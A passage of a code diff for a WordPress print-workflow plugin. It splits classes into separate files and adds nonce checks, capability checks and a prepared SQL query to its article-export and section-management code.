+ * @param array $ids Array of post IDs.
+ * @param int $print_issue_id ID of parent print issue.
+ * @param string $print_issue_title Title of parent print issue (to avoid lookup).
+ *
+ * @throws Exception Various points of failure in constructing the factory.
+ */
+ public function __construct( $ids, $print_issue_id, $print_issue_title ) {
+
+ $article_ids = array_filter( $ids, 'is_numeric' );
+ if ( count( $ids ) !== count( $article_ids ) ) {
+ throw new Exception( esc_html__( 'Invalid article IDs specified in the request.', 'eight-day-week-print-workflow' ) );
+ }
+
+ $this->ids = $ids;
+ $this->print_issue_id = absint( $print_issue_id );
+ $this->print_issue_title = sanitize_text_field( $print_issue_title );
+ }
+
+ /**
+ * Builds an array of WP_Post objects via the object's set of IDs
+ *
+ * @return WP_Post[]
+ */
+ public function import_articles() {
+ $articles = array();
+ foreach ( $this->ids as $id ) {
+ $article = get_post( $id );
+ if ( ! $article || ! current_user_can( 'read_post', $id ) ) {
+ continue;
+ }
+ $articles[ $id ] = $article;
+ }
+
+ return $articles;
+ }
+
+ /**
+ * Gets the object's set of WP_Posts
+ *
+ * @uses import_articles
+ *
+ * @return WP_Post[]
+ */
+ public function get_articles() {
+ if ( $this->articles ) {
+ return $this->articles;
+ }
+
+ $this->articles = $this->import_articles();
+ return $this->articles;
+ }
+
+ /**
+ * Gets export files for an article
+ *
+ * Provides a filter so that 3rd parties can hook in
+ * and determine what files to export vs the standard XML.
+ *
+ * @return array File[] Set of export files
+ */
+ public function build_file_sets() {
+
+ $articles = $this->get_articles();
+
+ $file_sets = array();
+ foreach ( $articles as $article ) {
+
+ // Allow articles to export an alternative file.
+ $files = apply_filters( __NAMESPACE__ . 'short_circuit_article_export_files', false, $article, $this->print_issue_id, $this->print_issue_title );
+
+ // But fall back to XML.
+ if ( ! $files ) {
+ $files = $this->get_xml_file( $article );
+ }
+
+ $file_sets[ $article->ID ] = $files;
+
+ }
+
+ return $file_sets;
+ }
+
+
+ /**
+ * Retrieve an XML file for the given article.
+ *
+ * @param mixed $article The article to retrieve the XML file for.
+ * @return array An array containing the XML file.
+ */
+ public function get_xml_file( $article ) {
+ $xml = $this->get_xml( $article );
+
+ $file_name = apply_filters( __NAMESPACE__ . 'xml_filename', $xml->root_element->getAttribute( 'title' ), $article, $xml );
+ $file_name .= '.xml';
+
+ $file_contents = $xml->xml_document->saveXML();
+
+ $fileset = array();
+ $fileset[] = new File( $file_contents, apply_filters( __NAMESPACE__ . 'xml_full_filename', $file_name, $article ) );
+
+ return $fileset;
+ }
+
+ /**
+ * Builds and returns an XML file for an article
+ *
+ * @param WP_Post $article the current post.
+ *
+ * @return object Contains properties of a DOMDocument object for easy access
+ */
+ public function get_xml( $article ) {
+ $xml = new Article_XML( $article );
+ $xml_content = $xml->build_xml();
+ $this->images[ $article->ID ] = $xml->images;
+ return $xml_content;
+ }
+
+ /**
+ * Gets a set of files for the current set of articles
+ *
+ * @return File[] Set of files
+ */
+ public function get_file_sets() {
+ if ( $this->files ) {
+ return $this->files;
+ }
+
+ $this->files = $this->build_file_sets();
+ return $this->files;
+ }
+
+ /**
+ * Generates a zip file containing the output of the function.
+ */
+ public function output_zip() {
+ require_once ABSPATH . 'wp-admin/includes/file.php';
+ WP_Filesystem();
+ global $wp_filesystem;
+
+ // Prepare folder.
+ $tmp_folder = 'export_xml_' . get_current_user_id();
+ $tmp_dir = get_temp_dir() . $tmp_folder;
+
+ if ( ! $wp_filesystem->is_dir( $tmp_dir ) ) {
+ $wp_filesystem->mkdir( $tmp_dir );
+ }
+
+ // Create zip.
+ $tmp_zip_file = get_temp_dir() . $tmp_folder . '/output.zip';
+ if ( file_exists( $tmp_zip_file ) ) {
+ wp_delete_file( $tmp_zip_file );
+ }
+ $zip = new ZipArchive( $this->print_issue_title );
+ $zip->open( $tmp_zip_file, ZipArchive::CREATE | ZipArchive::OVERWRITE );
+
+ $file_sets = $this->get_file_sets();
+
+ $sub_folders = array();
+ foreach ( $file_sets as $article_id => $files ) {
+ foreach ( $files as $file ) {
+ if ( stripos( $file->filename, '.xml' ) !== false ) {
+ $filename = explode( '.', $file->filename );
+ $sub_folders[ $article_id ] = $filename[0];
+ break;
+ }
+ }
+
+ if ( ! $sub_folders[ $article_id ] ) {
+ $sub_folders[ $article_id ] = $article_id;
+ }
+ }
+
+ // Add xml files.
+ foreach ( $file_sets as $article_id => $files ) {
+
+ $zip->addEmptyDir( $sub_folders[ $article_id ] );
+
+ // Force an array.
+ $files = is_array( $files ) ? $files : array( $files );
+ foreach ( $files as $file ) {
+ $zip->addFromString( $sub_folders[ $article_id ] . '/' . $file->filename, $file->contents );
+ }
+ }
+
+ // Add images (by path).
+ if ( is_array( $this->images ) ) {
+ foreach ( $this->images as $article_id => $images ) {
+ foreach ( $images as $image_full_path => $image_name ) {
+ $zip->addFile( $image_full_path, $sub_folders[ $article_id ] . '/' . remove_accents( $image_name ) );
+ }
+ }
+ }
+
+ $zip->close();
+
+ $this->out_zip_file( $tmp_zip_file );
+ }
+
+ /**
+ * Outputs the contents of a zip file as a download.
+ *
+ * @param string $filename The path to the zip file.
+ * @throws Exception If the file cannot be opened.
+ * @return void
+ */
+ public function out_zip_file( $filename ) {
+ header( 'Content-type: application/octet-stream' );
+ header( 'Content-Disposition: attachment; filename="' . $this->get_zip_file_name() . '.zip"' );
+ $handle = fopen( $filename, 'rb' ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_read_fopen, WordPress.WP.AlternativeFunctions.file_system_operations_fopen
+ if ( $handle ) {
+ while ( ! feof( $handle ) ) {
+ echo fread( $handle, 4096 ); // phpcs:ignore WordPress.Security.EscapeOutput, WordPress.WP.AlternativeFunctions.file_system_read_fread, WordPress.WP.AlternativeFunctions.file_system_operations_fread
+ ob_flush();
+ flush();
+ }
+
+ fclose( $handle ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_read_fclose, WordPress.WP.AlternativeFunctions.file_system_operations_fclose
+ }
+ exit;
+ }
+
+
+ /**
+ * Builds the file name for the zip
+ * Uses the print issue title & day/time
+ *
+ * @uses get_timezone
+ *
+ * @return string The zip file name
+ */
+ public function get_zip_file_name() {
+ /* translators: 1: title of the print issue, 2: date of the export (m-d-y), 3: time of the export (h:ia) */
+ return sprintf( __( 'Issue %1$s exported on %2$s at %3$s', 'eight-day-week-print-workflow' ), $this->print_issue_title, wp_date( 'm-d-y' ), wp_date( 'h:ia' ) );
+ }
+}
--- a/eight-day-week-print-workflow/includes/functions/File.php
+++ b/eight-day-week-print-workflow/includes/functions/File.php
@@ -0,0 +1,51 @@
+<?php
+/**
+ * File
+ *
+ * @package Eight_Day_Week
+ */
+
+namespace Eight_Day_WeekPluginsArticle_Export;
+
+/**
+ * Class File
+ *
+ * @package Eight_Day_WeekPluginsArticle_Export
+ *
+ * Builds a "File" based on either a string or a readable, actual file
+ */
+class File {
+
+ /**
+ * Filename
+ *
+ * @var string The File's name
+ */
+ public $filename;
+
+ /**
+ * File contents
+ *
+ * @var string The File's contents
+ */
+ public $contents;
+
+ /**
+ * Constructs a new instance of the class.
+ *
+ * If given a readable file path, builds the file name + contents via the actual file
+ * Otherwise assumes provision of explicit file contents + name
+ *
+ * @param mixed $contents_or_file_path The contents of the file or the file path.
+ * @param string $filename The name of the file.
+ */
+ public function __construct( $contents_or_file_path, $filename = '' ) {
+ if ( is_readable( $contents_or_file_path ) ) {
+ $this->contents = file_get_contents( $contents_or_file_path ); // phpcs:ignore
+ $this->filename = basename( $contents_or_file_path );
+ } else {
+ $this->contents = $contents_or_file_path;
+ $this->filename = $filename;
+ }
+ }
+}
--- a/eight-day-week-print-workflow/includes/functions/Helper_DateTimeZone.php
+++ b/eight-day-week-print-workflow/includes/functions/Helper_DateTimeZone.php
@@ -0,0 +1,59 @@
+<?php
+/**
+ * Helper_DateTimeZone
+ *
+ * @package Eight_Day_WeekCore
+ */
+
+namespace Eight_Day_WeekCore;
+
+/**
+ * Class Helper_DateTimeZone
+ *
+ * @package Eight_Day_WeekCore
+ *
+ * http://php.net/manual/en/function.timezone-name-from-abbr.php#89155
+ */
+class Helper_DateTimeZone extends DateTimeZone {
+ /**
+ * Converts a timezone hourly offset to its timezone's name.
+ *
+ * @example $offset = -5, $is_dst = 0 <=> return value = 'America/New_York'
+ *
+ * @param float $offset The timezone's offset in hours.
+ * Lowest value: -12 (Pacific/Kwajalein).
+ * Highest value: 14 (Pacific/Kiritimati).
+ * @param bool $is_dst Is the offset for the timezone when it's in daylight
+ * savings time.
+ *
+ * @return string The name of the timezone: 'Asia/Tokyo', 'Europe/Paris', ...
+ */
+ final public static function tzOffsetToName( $offset, $is_dst = null ) {
+ if ( null === $is_dst ) {
+ $is_dst = gmdate( 'I' );
+ }
+
+ $offset *= 3600;
+ $zone = timezone_name_from_abbr( '', $offset, $is_dst );
+
+ if ( false === $zone ) {
+ foreach ( timezone_abbreviations_list() as $abbr ) {
+ foreach ( $abbr as $city ) {
+ if ( (bool) $city['dst'] === (bool) $is_dst &&
+ strlen( $city['timezone_id'] ) > 0 &&
+ $city['offset'] === $offset
+ ) {
+ $zone = $city['timezone_id'];
+ break;
+ }
+ }
+
+ if ( false !== $zone ) {
+ break;
+ }
+ }
+ }
+
+ return $zone;
+ }
+}
--- a/eight-day-week-print-workflow/includes/functions/Section.php
+++ b/eight-day-week-print-workflow/includes/functions/Section.php
@@ -0,0 +1,120 @@
+<?php
+/**
+ * Section
+ *
+ * @package Eight_Day_WeekSections
+ */
+
+namespace Eight_Day_WeekSections;
+
+/**
+ * Class Section
+ *
+ * @package Eight_Day_WeekSections
+ *
+ * Class that represents a section object + offers utility functions for it
+ *
+ * @todo Refactor this (possibly trash it). Was just an experiment, really.
+ */
+class Section {
+
+ /**
+ * Section post ID
+ *
+ * @var int The section's post ID
+ */
+ public $ID;
+
+ /**
+ * The section post object
+ *
+ * @var WP_Post The section's post
+ */
+ private $post_object;
+
+ /**
+ * Ingests a section based on a post ID
+ *
+ * @param int $id The section's post ID.
+ */
+ public function __construct( $id ) {
+ $this->ID = absint( $id );
+ $this->import_post();
+ $this->import_post_info();
+ }
+
+ /**
+ * Sets the object's post_object property
+ *
+ * @throws Exception Invalid post ID supplied.
+ */
+ private function import_post() {
+ $post = get_post( $this->ID );
+ if ( ! $post instanceof WP_Post ) {
+ throw new Exception( esc_html__( 'Invalid post ID supplied', 'eight-day-week-print-workflow' ) );
+ }
+ $this->post_object = $post;
+ }
+
+ /**
+ * Ingests the WP_Post
+ * by duplicating its properties to this object's properties
+ *
+ * @todo Refactor away, unnecessary to have/perform
+ */
+ private function import_post_info() {
+
+ $info = $this->post_object;
+
+ if ( is_object( $info ) ) {
+ $info = get_object_vars( $info );
+ }
+ if ( is_array( $info ) ) {
+ foreach ( $info as $key => $value ) {
+ if ( ! empty( $key ) ) {
+ $this->$key = $value;
+ } elseif ( ! empty( $key ) && ! method_exists( $this, $key ) ) {
+ $this->$key = $value;
+ }
+ }
+ }
+ }
+
+ /**
+ * Updates the section
+ *
+ * @uses wp_update_post
+ * @todo Refactor away, just use wp_update_post
+ *
+ * @param mixed $args The arguments to update the post.
+ * @throws Exception Failed to update section %d.
+ * @return mixed The result of updating the post.
+ */
+ public function update( $args ) {
+ $result = wp_update_post( $args );
+ if ( $result ) {
+ return $result;
+ }
+ /* translators: %d: The ID of the section that failed to update. */
+ throw new Exception( sprintf( esc_html__( 'Failed to update section %d', 'eight-day-week-print-workflow' ), absint( $this->ID ) ) );
+ }
+
+ /**
+ * Updates a section's title
+ *
+ * @param string $title The new title to set.
+ * @throws Exception If the title is empty or invalid.
+ * @return void
+ */
+ public function update_title( $title ) {
+ if ( ! $title ) {
+ throw new Exception( esc_html__( 'Please supply a valid, non-empty title', 'eight-day-week-print-workflow' ) );
+ }
+ $title = sanitize_text_field( $title );
+ $args = array(
+ 'ID' => $this->ID,
+ 'post_title' => $title,
+ );
+ $this->update( $args );
+ }
+}
--- a/eight-day-week-print-workflow/includes/functions/Section_Factory.php
+++ b/eight-day-week-print-workflow/includes/functions/Section_Factory.php
@@ -0,0 +1,139 @@
+<?php
+/**
+ * Section_Factory
+ *
+ * @package Eight_Day_Week
+ */
+
+namespace Eight_Day_WeekSections;
+
+use Eight_Day_WeekCore;
+use Eight_Day_WeekSectionsSection;
+
+use function Eight_Day_WeekSectionsget_sections;
+use function Eight_Day_WeekSectionsset_print_issue_sections;
+
+/**
+ * Class Section_Factory
+ *
+ * @package Eight_Day_WeekSections
+ *
+ * Factory that creates + updates sections
+ *
+ * @todo Refactor this (possibly trash it). Was just an experiment, really.
+ */
+class Section_Factory {
+
+ /**
+ * Creates a section
+ *
+ * @param string $name The name of the section (title).
+ *
+ * @return int|Section|WP_Error
+ */
+ public static function create( $name ) {
+
+ $info = array(
+ 'post_title' => $name,
+ 'post_type' => EDW_SECTION_CPT,
+ );
+ $section_id = wp_insert_post( $info );
+ if ( $section_id ) {
+ return new Section( $section_id );
+ }
+
+ return $section_id;
+ }
+
+ /**
+ * Assigns a section to a print issue.
+ *
+ * @param mixed $section The section to be assigned.
+ * @param mixed $print_issue The print issue to assign the section to.
+ * @return mixed The updated sections.
+ */
+ public static function assign_to_print_issue( $section, $print_issue ) {
+ $current_sections = get_sections( $print_issue->ID );
+ $new_sections = $current_sections ? $current_sections . ',' . $section->ID : $section->ID;
+ set_print_issue_sections( $new_sections, $print_issue->ID );
+ return $new_sections;
+ }
+
+ /**
+ * Creates an AJAX request handler for creating a section.
+ *
+ * @throws Exception When the print issue ID is invalid or an exception is thrown during section creation.
+ */
+ public static function create_ajax() {
+
+ Corecheck_elevated_ajax_referer();
+
+ // phpcs:disable WordPress.Security.NonceVerification.Missing -- Cap check and Nonce verification in check_elevated_ajax_referer() above.
+ $name = isset( $_POST['name'] ) ? sanitize_text_field( wp_unslash( $_POST['name'] ) ) : false;
+ if ( ! $name ) {
+ Coresend_json_error( array( 'message' => __( 'Please enter a section name.', 'eight-day-week-print-workflow' ) ) );
+ }
+
+ $print_issue_id = isset( $_POST['print_issue_id'] ) ? absint( $_POST['print_issue_id'] ) : false;
+ // phpcs:enable
+
+ $print_issue = get_post( $print_issue_id );
+ if ( ! $print_issue ) {
+ throw new Exception( 'Invalid print issue specified.' );
+ }
+
+ try {
+ $section = self::create( $name );
+ } catch ( Exception $e ) {
+ // Let the whoops message run its course.
+ $section = null;
+ }
+
+ if ( $section instanceof Section ) {
+ self::assign_to_print_issue( $section, $print_issue );
+ Coresend_json_success( array( 'section_id' => $section->ID ) );
+ }
+
+ Coresend_json_error( array( 'message' => __( 'Whoops! Something went awry.', 'eight-day-week-print-workflow' ) ) );
+ }
+
+ /**
+ * Handles an ajax request to update a section's title
+ *
+ * @todo refactor to use exceptions and one json response vs pepper-style
+ */
+ public static function update_title_ajax() {
+
+ Corecheck_elevated_ajax_referer();
+
+ // phpcs:disable WordPress.Security.NonceVerification.Missing -- Cap check and Nonce verification in check_elevated_ajax_referer() above.
+ $title = isset( $_POST['title'] ) ? sanitize_text_field( wp_unslash( $_POST['title'] ) ) : false;
+ if ( ! $title ) {
+ Coresend_json_error( array( 'message' => __( 'Please enter a section name.', 'eight-day-week-print-workflow' ) ) );
+ }
+
+ $post_id = isset( $_POST['post_id'] ) ? sanitize_text_field( wp_unslash( $_POST['post_id'] ) ) : false;
+ // phpcs:enable
+
+ if ( ! $post_id ) {
+ Coresend_json_error( array( 'message' => __( 'Whoops! This section appears to be invalid.', 'eight-day-week-print-workflow' ) ) );
+ }
+ try {
+ self::update_title( $title, $post_id );
+ } catch ( Exception $e ) {
+ Coresend_json_error( array( 'message' => $e->getMessage() ) );
+ }
+ Coresend_json_success();
+ }
+
+ /**
+ * Updates a section's title
+ *
+ * @param string $title The new title.
+ * @param int $id The section ID.
+ */
+ public static function update_title( $title, $id ) {
+ $section = new Section( $id );
+ $section->update_title( $title );
+ }
+}
--- a/eight-day-week-print-workflow/includes/functions/admin-menu-page.php
+++ b/eight-day-week-print-workflow/includes/functions/admin-menu-page.php
@@ -7,6 +7,9 @@
namespace Eight_Day_WeekAdmin_Menu_Page;
+// Exit if accessed directly.
+defined( 'ABSPATH' ) || exit;
+
/**
* Default setup routine
*
@@ -38,7 +41,7 @@
// Dirty hack until https://core.trac.wordpress.org/ticket/22895 is solved.
add_action(
'admin_head',
- function() {
+ static function () {
?>
<style type="text/css">
a[href="removeme"]{
@@ -69,5 +72,4 @@
add_submenu_page( EDW_ADMIN_MENU_SLUG, 'Dummy Submenu', 'Dummy Submenu', 'read', 'removeme' );
do_action( __NAMESPACE__ . 'admin_menu' );
-
}
--- a/eight-day-week-print-workflow/includes/functions/articles.php
+++ b/eight-day-week-print-workflow/includes/functions/articles.php
@@ -7,9 +7,12 @@
namespace Eight_Day_WeekArticles;
-use Eight_Day_WeekCore as Core;
+use Eight_Day_WeekArticlesAL_Table;
use Eight_Day_WeekUser_Roles as User;
+// Exit if accessed directly.
+defined( 'ABSPATH' ) || exit;
+
/**
* Default setup routine
*
@@ -86,290 +89,6 @@
<?php
}
-if ( ! class_exists( 'WP_Posts_List_Table' ) ) {
- require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';
- require_once ABSPATH . 'wp-admin/includes/class-wp-posts-list-table.php';
-}
-
-/**
- * Class AL_Table
- *
- * @package Eight_Day_WeekArticles
- *
- * Article List Table extending WP_Posts_List_Table to display a print issue's articles
- */
-class AL_Table extends WP_Posts_List_Table {
-
- /**
- * Article IDs
- *
- * @var int[] Current set of article IDs
- */
- public $article_ids;
-
- /**
- * Sets object properties and calls parent constructor
- *
- * @param int[] $article_ids IDs of articles to display.
- */
- public function __construct( $article_ids ) {
- $this->article_ids = $article_ids;
- parent::__construct(
- array(
- 'screen' => EDW_PRINT_ISSUE_CPT,
- )
- );
- }
-
- /**
- * Outputs the fallback meta for a column. called when a method on the class
- * doesn't exist that matches the column_name, i.e for $column_name = 'foo';
- * and $this->column_foo and $this->_column_foo aren't valid methods.
- *
- * @param mixed $item The item from which to retrieve the value.
- * @param string $column_name The name of the column.
- * @return mixed The value of the specified column from the item.
- */
- public function column_default( $item, $column_name ) {
- switch ( $column_name ) {
- default:
- if ( ! is_object( $item ) ) {
- return '';
- }
-
- if ( property_exists( $item, $column_name ) ) {
- return $item->$column_name;
- }
-
- $filtered = apply_filters( __NAMESPACE__ . 'article_meta_' . $column_name, false, $item, $column_name );
- if ( $filtered ) {
- return $filtered;
- }
-
- // Try post meta.
- $meta = get_post_meta( $item->ID, $column_name, true );
- if ( $meta ) {
- return $meta;
- }
-
- return '';
- }
- }
-
- /**
- * Gets the columns for the table
- * Provides a filter for 3rd party columns
- *
- * @return array Columns
- */
- public function get_columns() {
- return apply_filters(
- __NAMESPACE__ . 'article_columns',
- array(
- 'cb' => '<input type="checkbox" />',
- 'title' => _x( 'Article', 'eight-day-week-print-workflow' ),
- )
- );
- }
-
- /**
- * Before displaying items, prep them!
- *
- * Gets the columns (and sets the internal headers property)
- * Gets the WP_Post for each article ID in the current object's set
- */
- public function prepare_items() {
- $columns = $this->get_columns();
- $hidden = array();
- $sortable = array();
- $this->_column_headers = array( $columns, $hidden, $sortable );
- foreach ( $this->article_ids as $id ) {
- $post = get_post( $id );
-
- $post_img_num = 0;
- $gallery_images = get_post_galleries( $post, true );
- if ( ! empty( $gallery_images ) ) {
- foreach ( $gallery_images as $single ) {
- $post->post_content .= $single;
- }
- }
- $post_img_num = (int) preg_match_all( '/<img[^>]*>/', $post->post_content, $matches );
- if ( has_post_thumbnail( $post->ID ) ) {
- ++$post_img_num;
- }
- $post->post_img_num = $post_img_num;
-
- $this->items[] = $post;
- }
- }
-
- /**
- * Generates content for a single row of the table
- *
- * @param object $item The current item.
- * @param int $level The current item's level (parent relationship level).
- */
- public function single_row( $item, $level = 0 ) {
- if ( property_exists( $item, 'ID' ) ) {
- echo '<tr data-article-id="' . absint( $item->ID ) . '">';
- } else {
- echo '<tr>';
- }
- $this->single_row_columns( $item );
- echo '</tr>';
- }
-
- /**
- * Overrides parent method so no bulk actions appear
- *
- * @return array Empty array
- */
- public function get_bulk_actions() {
- return array();
- }
-
- /**
- * Override parent method to just check for the emptines of the items property
- *
- * @return bool Whether or not the table has items
- */
- public function has_items() {
- return ! empty( $this->items );
- }
-
-
- /**
- * Loops through the given array of posts and calls the single_row() method for each post.
- *
- * @param array $posts An array of posts to loop through and display.
- * @param int $level The level of the rows to display.
- */
- public function display_rows( $posts = array(), $level = 0 ) {
- foreach ( $this->items as $article ) {
- $this->single_row( $article );
- }
- }
-
- /**
- * Display a tablenav.
- *
- * @param string $which The position of the tablenav (top or bottom).
- */
- public function display_tablenav( $which ) {
- }
-
- /**
- * Display the article title
- * Override the parent method to be moar simpler
- *
- * @param WP_Post $item The current post.
- * @param string $classes The posts's css classes.
- * @param string $data The posts's data-attributes.
- * @param string $primary (shrug) Unused here, just keeping in line with parent class.
- *
- * @return string
- */
- public function _column_title( $item, $classes = '', $data = '', $primary = false ) {
- $html = '<td class="' . esc_attr( $classes ) . ' page-title" ' . esc_attr( $data ) . '>';
- $html .= $this->column_title( $item );
- $html .= '</td>';
- return $html;
- }
-
- /**
- * Gets the checkbox for each row
- *
- * @param WP_Post $item The current post.
- *
- * @return string HTML for checkbox
- */
- public function column_cb( $item ) {
- return '<input type="checkbox" class="article-status" name="article-status[]" value="' . ( isset( $item->ID ) ? absint( $item->ID ) : '' ) . '" />';
- }
-
- /**
- * Gets the post title + actions for the post
- *
- * @param WP_Post $item The current post.
- *
- * @return string The posts's title
- */
- public function column_title( $item ) {
-
- if ( current_user_can( 'edit_post', $item->ID ) ) {
- $title = '<a class="pi-article-title" href="' . esc_url( get_edit_post_link( $item->ID ) ) .
- '">' . esc_html( get_the_title( $item->ID ) ) . '</a>';
- } else {
- $title = esc_html( get_the_title( $item->ID ) );
- }
-
- if ( current_user_can( 'read_post', $item->ID ) ) {
- $title .= '<a class="pi-article-view" target="_blank" href="' .
- esc_url( get_permalink( $item->ID ) ) . '">' . __( 'View', 'eight-day-week-print-workflow' ) . '</a>';
- }
-
- // Don't give remove link to print prod users.
- if ( Usercurrent_user_can_edit_print_issue() ) {
- $title .= '<a class="pi-article-remove" href="javascript:;" data-article-id="' .
- absint( $item->ID ) . '">Remove</a>';
- }
-
- return $title;
- }
-
- /**
- * Gets the table properties of a post row
- *
- * @param WP_Post $item The current post.
- *
- * @return stdClass Object representing the post's tabular data
- */
- public function get_data( $item ) {
- $data = new stdClass();
- foreach ( (array) $this->get_columns() as $key => $title ) {
- $default = $this->column_default( $item, $key );
-
- // Using object buffering because some WP_Posts_List_Table methods output instead of return.
- ob_start();
- if ( method_exists( $this, "_column_$key" ) ) {
- $method = "_column_$key";
- echo esc_html( $this->$method( $item ) );
- } elseif ( ! property_exists( $this, $key ) && method_exists( $this, "column_$key" ) ) {
- $method = "column_$key";
- echo esc_html( $this->$method( $item ) );
- } elseif ( $default ) {
- echo esc_html( $default );
- }
- $data->$key = ob_get_clean();
- }
- return $data;
- }
-
- /**
- * Display rows if there are items to show
- * Overrides parent method so there's no placeholder
- */
- public function display_rows_or_placeholder() {
- if ( $this->has_items() ) {
- $this->display_rows();
- }
- }
-
- /**
- * Returns html for a single table row
- *
- * @param WP_Post $item The current post.
- *
- * @return string THe post's table row
- */
- public function get_single_row( $item ) {
- ob_start();
- $this->single_row( $item );
- return ob_get_clean();
- }
-
-}
-
/**
* Displays an AL_Table for provided articles
*
@@ -407,6 +126,22 @@
* Handler for an ajax request to get articles by title search
*/
function get_articles_ajax() {
+ if ( ! check_ajax_referer( EDW_AJAX_NONCE_SLUG, false, false ) ) {
+ wp_send_json_error(
+ array(
+ 'message' => __( 'Invalid nonce.', 'eight-day-week-print-workflow' ),
+ ),
+ 403
+ );
+ }
+
+ if ( ! Usercurrent_user_can_edit_print_issue() ) {
+ Eight_Day_WeekCoresend_json_error(
+ array(
+ 'message' => __( 'Insufficient permissions.', 'eight-day-week-print-workflow' ),
+ )
+ );
+ }
$title = isset( $_GET['title'] ) ? sanitize_text_field( wp_unslash( $_GET['title'] ) ) : false;
@@ -447,7 +182,7 @@
*/
function get_articles( $title ) {
if ( ! $title ) {
- throw new Exception( __( 'Please enter a valid/non-empty title.', 'eight-day-week-print-workflow' ) );
+ throw new Exception( esc_html__( 'Please enter a valid/non-empty title.', 'eight-day-week-print-workflow' ) );
}
$post_types = apply_filters( __NAMESPACE__ . '\post_types', array( 'post' ) );
@@ -465,7 +200,7 @@
add_filter( 'posts_where', __NAMESPACE__ . '\title_filter', 10, 2 );
$articles = new WP_Query( $args );
- remove_filter( 'posts_where', __NAMESPACE__ . '\title_filter', 10, 2 );
+ remove_filter( 'posts_where', __NAMESPACE__ . '\title_filter', 10 );
foreach ( $articles->posts as $key => $post ) {
// Exclude posts the user cannot read.
@@ -475,7 +210,7 @@
}
if ( ! $articles->posts ) {
- throw new Exception( __( 'No matching articles found.', 'eight-day-week-print-workflow' ) );
+ throw new Exception( esc_html__( 'No matching articles found.', 'eight-day-week-print-workflow' ) );
}
return $articles->posts;
@@ -493,10 +228,10 @@
global $wpdb;
$title = $wp_query->get( 'search_by_title' );
if ( $title ) {
- /*using the esc_like() in here instead of other esc_sql()*/
- $title = $wpdb->esc_like( $title );
- $title = ' '%' . $title . '%'';
- $where .= ' AND ' . $wpdb->posts . '.post_title LIKE ' . $title;
+ $where .= $wpdb->prepare(
+ " AND {$wpdb->posts}.post_title LIKE %s",
+ '%' . $wpdb->esc_like( $title ) . '%'
+ );
}
return $where;
@@ -506,10 +241,9 @@
* Handles a request for the HTML of a new, post-specific AL_Table row
*/
function get_article_row_ajax() {
+ check_ajax_referer( EDW_AJAX_NONCE_SLUG, false, false );
- Eight_Day_WeekCorecheck_ajax_referer();
-
- $article_id = isset( $_GET['article_id'] ) ? absint( $_GET['article_id'] ) : false;
+ $article_id = isset( $_GET['article_id'] ) ? absint( wp_unslash( $_GET['article_id'] ) ) : false;
if ( ! $article_id || ! get_post( $article_id ) || ! current_user_can( 'read_post', $article_id ) ) {
Eight_Day_WeekCoresend_json_error( array( 'message' => __( 'Invalid article ID.', 'eight-day-week-print-workflow' ) ) );
@@ -532,11 +266,13 @@
*/
function save_section_articles( $post_id ) {
+ // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Nonce is verified in save_print_issues().
if ( ! isset( $_POST['pi-article-ids'] ) ) {
return;
}
- $article_ids_sets = wp_unslash( $_POST['pi-article-ids'] );
+ // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Nonce is verified in save_print_issues().
+ $article_ids_sets = map_deep( wp_unslash( $_POST['pi-article-ids'] ), 'sanitize_text_field' );
if ( ! is_array( $article_ids_sets ) ) {
return;
@@ -548,6 +284,8 @@
}
foreach ( $article_ids_sets as $section_id => $article_ids ) {
+ $section_id = absint( $section_id );
+
// Validate section.
$section = get_post( $section_id );
if ( ! $section_id || ! $section ) {
@@ -563,7 +301,7 @@
$article_ids = explode( ',', $article_ids );
$article_ids = array_unique( $article_ids );
- update_post_meta( absint( $section_id ), 'articles', implode( ',', $article_ids ) );
+ update_post_meta( $section_id, 'articles', implode( ',', $article_ids ) );
}
}
--- a/eight-day-week-print-workflow/includes/functions/core.php
+++ b/eight-day-week-print-workflow/includes/functions/core.php
@@ -7,6 +7,11 @@
namespace Eight_Day_WeekCore;
+use Eight_Day_WeekCoreHelper_DateTimeZone;
+
+// Exit if accessed directly.
+defined( 'ABSPATH' ) || exit;
+
/**
* Default setup routine
*
@@ -82,6 +87,7 @@
}
// Init has already been tacked onto the `init` hook, so all CPTs should be loaded.
+ // phpcs:ignore WordPressVIPMinimum.Functions.RestrictedFunctions.flush_rewrite_rules_flush_rewrite_rules -- Activate hook.
flush_rewrite_rules();
do_action( 'edw_activate', $stored_version, EDW_VERSION );
@@ -231,54 +237,3 @@
function get_offset() {
return get_option( 'gmt_offset' );
}
-
-/**
- * Class Helper_DateTimeZone
- *
- * @package Eight_Day_WeekCore
- *
- * http://php.net/manual/en/function.timezone-name-from-abbr.php#89155
- */
-class Helper_DateTimeZone extends DateTimeZone {
- /**
- * Converts a timezone hourly offset to its timezone's name.
- *
- * @example $offset = -5, $is_dst = 0 <=> return value = 'America/New_York'
- *
- * @param float $offset The timezone's offset in hours.
- * Lowest value: -12 (Pacific/Kwajalein).
- * Highest value: 14 (Pacific/Kiritimati).
- * @param bool $is_dst Is the offset for the timezone when it's in daylight
- * savings time.
- *
- * @return string The name of the timezone: 'Asia/Tokyo', 'Europe/Paris', ...
- */
- final public static function tzOffsetToName( $offset, $is_dst = null ) {
- if ( null === $is_dst ) {
- $is_dst = gmdate( 'I' );
- }
-
- $offset *= 3600;
- $zone = timezone_name_from_abbr( '', $offset, $is_dst );
-
- if ( false === $zone ) {
- foreach ( timezone_abbreviations_list() as $abbr ) {
- foreach ( $abbr as $city ) {
- if ( (bool) $city['dst'] === (bool) $is_dst &&
- strlen( $city['timezone_id'] ) > 0 &&
- $city['offset'] === $offset
- ) {
- $zone = $city['timezone_id'];
- break;
- }
- }
-
- if ( false !== $zone ) {
- break;
- }
- }
- }
-
- return $zone;
- }
-}
--- a/eight-day-week-print-workflow/includes/functions/plugins/article-byline.php
+++ b/eight-day-week-print-workflow/includes/functions/plugins/article-byline.php
@@ -7,7 +7,8 @@
namespace Eight_Day_WeekPluginsArticle_Byline;
-use Eight_Day_WeekCore as Core;
+// Exit if accessed directly.
+defined( 'ABSPATH' ) || exit;
/**
* Default setup routine
@@ -104,7 +105,7 @@
}
if ( function_exists( 'get_coauthors' ) ) {
- $coauthors = get_coauthors( $post_id );
+ $coauthors = get_coauthors( $post_id );
if ( ! is_wp_error( $coauthors ) ) {
$authors = $coauthors;
}
--- a/eight-day-week-print-workflow/includes/functions/plugins/article-count.php
+++ b/eight-day-week-print-w
